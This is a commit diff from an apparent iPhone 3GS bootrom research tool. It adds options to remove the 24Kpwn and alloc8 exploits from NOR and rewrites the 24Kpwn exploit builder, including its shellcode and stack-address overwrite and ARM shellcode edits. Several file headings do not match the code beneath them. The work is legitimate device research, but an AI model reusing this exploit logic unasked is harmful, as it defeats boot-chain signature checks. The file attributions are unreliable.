Implement --remove-24kpwn and --remove-alloc8

Author: axi0mX

alloc8.py

@@ -106,3 +106,20 @@ def exploit(nor, version):
 	new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))
 
 	return new_nor
+
+def remove_exploit(nor):
+    assert len(nor.images) >= 700
+
+    new_nor = copy.deepcopy(nor)
+
+    new_images = []
+    for image in new_nor.images:
+        assert len(image) >= 20
+        if image[16:20] != 'zero'[::-1]:
+            new_images.append(image)
+    assert len(new_images) < 32
+
+    new_nor.images = new_images
+    new_nor.parts[1] = '\x00' * 460
+
+    return new_nor

bin/24Kpwn-shellcode.bin

@@ -239,7 +239,7 @@ def boot_ibss(self):
             sys.exit(1)
 
         iBSS = image3.Image3(data)
-        decryptediBSS = iBSS.newDecryptedImage3()
+        decryptediBSS = iBSS.newImage3(decrypted=True)
         n88ap_iBSS_435_patches = [
             (0x14954,                     'run\x00'), # patch 'reset' command string to 'run'
             (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1

dfuexec.py

@@ -59,38 +59,40 @@ def getDecryptedPayload(self):
         decrypted_keybag = device.decrypt_keybag(keybag)
         return utilities.aes_decrypt(self.getPayload(), binascii.hexlify(decrypted_keybag[:16]), binascii.hexlify(decrypted_keybag[16:]))
 
-    def newDecryptedImage3(self):
+    def shrink24KpwnCertificate(self):
+        for i in range(len(self.tags)):
+            tag = self.tags[i]
+            if tag[0] == 'CERT'[::-1] and len(tag[3]) >= 3072:
+                data = tag[3][:3072]
+                assert data[-1] == '\x00'
+                data = data.rstrip('\x00')
+                self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)
+                break
+
+    def newImage3(self, decrypted=True):
         typeTag = self.getTags('TYPE'[::-1])
         assert len(typeTag) == 1
         versTag = self.getTags('VERS'[::-1])
         assert len(versTag) <= 1
-        dataTags = self.getTags('DATA'[::-1])
-        assert len(dataTags) == 1
+        dataTag = self.getTags('DATA'[::-1])
+        assert len(dataTag) == 1
         sepoTag = self.getTags('SEPO'[::-1])
         assert len(sepoTag) <= 2
         bordTag = self.getTags('BORD'[::-1])
         assert len(bordTag) <= 2
+        kbagTag = self.getTags('KBAG'[::-1])
+        assert len(kbagTag) <= 2
         shshTag = self.getTags('SHSH'[::-1])
         assert len(shshTag) <= 1
         certTag = self.getTags('CERT'[::-1])
         assert len(certTag) <= 1
 
-        (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTags[0]
-
-        if self.getKeybag() == None:
-            # no KBAG, must not be encrypted
-            decrypted = tagData
+        (tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]
+        if len(kbagTag) > 0 and decrypted:
+          newTagData = self.getDecryptedPayload()
+          kbagTag = []
         else:
-            decrypted = self.getDecryptedPayload()
-        assert len(tagData) == len(decrypted)
+          newTagData =  tagData
+        assert len(tagData) == len(newTagData)
 
-        # Fix first 20 bytes of 24kpwn LLB
-        if self.type == 'illb'[::-1] and self.totalSize >= 0x24000:
-            # TODO: Check that DATA tag was in the correct location before decryption.
-            DWORD1 = 0xea00000e
-            DWORD2 = 0xe59ff018
-            decrypted = struct.pack('<5I', DWORD1, DWORD2, DWORD2, DWORD2, DWORD2) + decrypted[20:]
-            # Add empty SHSH and CERT
-            shshTag = [('SHSH'[::-1], 12, 0, '')]
-            certTag = [('CERT'[::-1], 12, 0, '')]
-        return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, decrypted)] + versTag + bordTag + shshTag + certTag)
+        return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)

image3.py

@@ -1,27 +1,54 @@
 # Credit: This file is based on 24Kpwn exploit (segment overflow) by the iPhone Dev Team.
 
 import struct
+import image3
 
 def exploit(img3, securerom):
     with open('bin/24Kpwn-shellcode.bin', 'rb') as f:
         shellcode = f.read()
     MAX_SHELLCODE_LENGTH = 1024
     assert len(shellcode) <= MAX_SHELLCODE_LENGTH
 
-    SHELLCODE_ADDRESS = 0x84024000 + 1 - 24 - 4 - len(shellcode)
-    payload = shellcode + struct.pack('<I4s2I4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)
-
     # Check IMG3 constraints.
     (img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])
-    assert img3_magic == 'Img3'[::-1] and magic == 'illb'[::-1]
-    assert total_size < 0x24000 - len(payload) - 12
-    assert data_size < 0x24000 - len(payload) - 12 - 20
-    assert signed_size < 0x24000 - len(payload) - 12 - 20 and signed_size != 0
-    assert len(img3) >= 20 + signed_size + 4 and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
-
-    img3 = struct.pack('<4s3I', 'Img3'[::-1], 0x24200, 0x241BC, 0x23FD4) + img3[16:20 + signed_size]
-    img3 += struct.pack('4s2I', '24KP'[::-1], 0x24000 - 24 - signed_size - 20, 0)
-
-    STACK_ADDRESS = 0x84033E98
-    PADDING_BEFORE = 0x24000 - len(payload) - len(img3)
-    return img3 + '\x00' * PADDING_BEFORE + payload + securerom[0xb000:0xb1cc] + struct.pack('<I', STACK_ADDRESS) + '\x00' * 0x30
+    assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]
+    assert  total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12
+    assert   data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
+    assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
+    assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
+
+    PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)
+    SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)
+    STACK_ADDRESS = 0x84033EA4
+    img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \
+         + struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \
+         + struct.pack('<I4s2I64x4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12 + 64, 64, 'CERT'[::-1], 12, 0) \
+         + struct.pack('<4s2I460sI48x', '24KP'[::-1], 12 + 512, 512, securerom[0xB000:0xB000 + 460], STACK_ADDRESS)
+    assert len(img3) == 0x24200
+    return img3
+
+def remove_exploit(img3):
+    assert len(img3) > 0x24000
+    assert img3[16:20] == 'illb'[::-1]
+
+    obj = image3.Image3(img3)
+    if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea':
+        # This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.
+        shellcode_address, = struct.unpack('<I', img3[64:68])
+        assert img3[52:56] == 'DATA'[::-1]
+        assert 0x84000000 <= shellcode_address and shellcode_address <= 0x84024000
+
+        # Try to find the correct value for the first dword.
+        found = False
+        for pos in xrange(shellcode_address - 0x84000000, len(img3)):
+            obj = image3.Image3(img3[:64] + img3[pos:pos + 4] + img3[68:])
+            if obj.getDecryptedPayload()[:4] == '\x0e\x00\x00\xea':
+                found = True
+                break
+        assert found
+
+    obj.shrink24KpwnCertificate()
+
+    img3 = obj.newImage3(decrypted=False)
+    assert len(img3) <= 0x24000
+    return img3

image3_24Kpwn.py

@@ -21,14 +21,16 @@ def print_help():
     print '  --dump-nor=file\t\tdump NOR to file'
     print '  --flash-nor=file\t\tflash NOR (header and firmware only) from file'
     print '  --24kpwn\t\t\tinstall 24Kpwn exploit to NOR'
+    print '  --remove-24kpwn\t\tremove 24Kpwn exploit from NOR'
+    print '  --remove-alloc8\t\tremove alloc8 exploit from NOR'
     print '  --decrypt-gid=hexdata\t\tAES decrypt with GID key'
     print '  --encrypt-gid=hexdata\t\tAES encrypt with GID key'
     print '  --decrypt-uid=hexdata\t\tAES decrypt with UID key'
     print '  --encrypt-uid=hexdata\t\tAES encrypt with UID key'
 
 if __name__ == '__main__':
     try:
-        advanced = ['dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'decrypt-gid=']
+        advanced = ['dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'decrypt-gid=']
         opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced)
     except getopt.GetoptError:
         print 'ERROR: Invalid arguments provided.'
@@ -83,8 +85,8 @@ if __name__ == '__main__':
                 sys.exit(1)
 
             print 'Preparing modified NOR with alloc8 exploit.'
-            # Decrypt LLB and remove 24Kpwn first.
-            nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()
+            # Remove 24Kpwn first.
+            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
             new_nor = alloc8.exploit(nor, device.config.version)
             device.flash_nor(new_nor.dump())
 
@@ -181,13 +183,57 @@ if __name__ == '__main__':
                 print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
                 sys.exit(1)
 
-            if len(nor.images[0]) >= 0x24000:
-                # Decrypt LLB and remove previous 24Kpwn exploit.
-                nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()
-
+            # Remove existing 24Kpwn exploit.
+            if len(nor.images[0]) > 0x24000:
+                nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
             nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
             device.flash_nor(nor.dump())
 
+        if opt == '--remove-24kpwn':
+            device = PwnedDFUDevice()
+            if device.config.cpid != '8920':
+                print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
+                sys.exit(1)
+
+            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
+            raw_input("Press ENTER to continue.")
+
+            dump = device.nor_dump(saveBackup=True)
+
+            nor = nor.NorData(dump)
+
+            if len(nor.images) == 0:
+                print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
+                sys.exit(1)
+            if len(nor.images[0]) <= 0x24000:
+                print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
+                sys.exit(1)
+
+            print 'Preparing modified NOR without 24Kpwn exploit.'
+            nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
+            device.flash_nor(nor.dump())
+
+        if opt == '--remove-alloc8':
+            device = PwnedDFUDevice()
+            if device.config.cpid != '8920':
+                print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
+                sys.exit(1)
+
+            print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
+            raw_input("Press ENTER to continue.")
+
+            dump = device.nor_dump(saveBackup=True)
+
+            nor = nor.NorData(dump)
+
+            if len(nor.images) < 700:
+                print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
+                sys.exit(1)
+
+            print 'Preparing modified NOR without alloc8 exploit.'
+            new_nor = alloc8.remove_exploit(nor)
+            device.flash_nor(new_nor.dump())
+
         if opt == '--decrypt-gid':
             device = PwnedDFUDevice()
             print 'Decrypting with S5L%s GID key.' % device.config.cpid

ipwndfu

@@ -7,7 +7,6 @@
 .pool
 .set SHA1_DWORD_ADDRESS,                0x840241cc
 .set SHA1_DWORD_VALUE,                  0x80100040
-.set DECRYPT_FLAG_ADDRESS,              0x84033f30
 .set NEW_LR_ADDRESS,                    0x84033f18
 .set NEW_LR_VALUE,                          0x2655
 .set NEW_PC_VALUE,                          0x21ed
@@ -20,10 +19,6 @@ _start:
     LDR R1, =SHA1_DWORD_VALUE
     STR R1, [R0]                                @ *SHA1_DWORD_ADDRESS = SHA1_DWORD_VALUE
 
-    LDR R0, =DECRYPT_FLAG_ADDRESS
-    MOV R1, #0
-    STR R1, [R0]                                @ *DECRYPT_FLAG_ADDRESS = 0
-
     LDR R0, =NEW_LR_ADDRESS
     LDR R1, =NEW_LR_VALUE
     STR R1, [R0]                                @ *NEW_LR_ADDRESS = NEW_LR_VALUE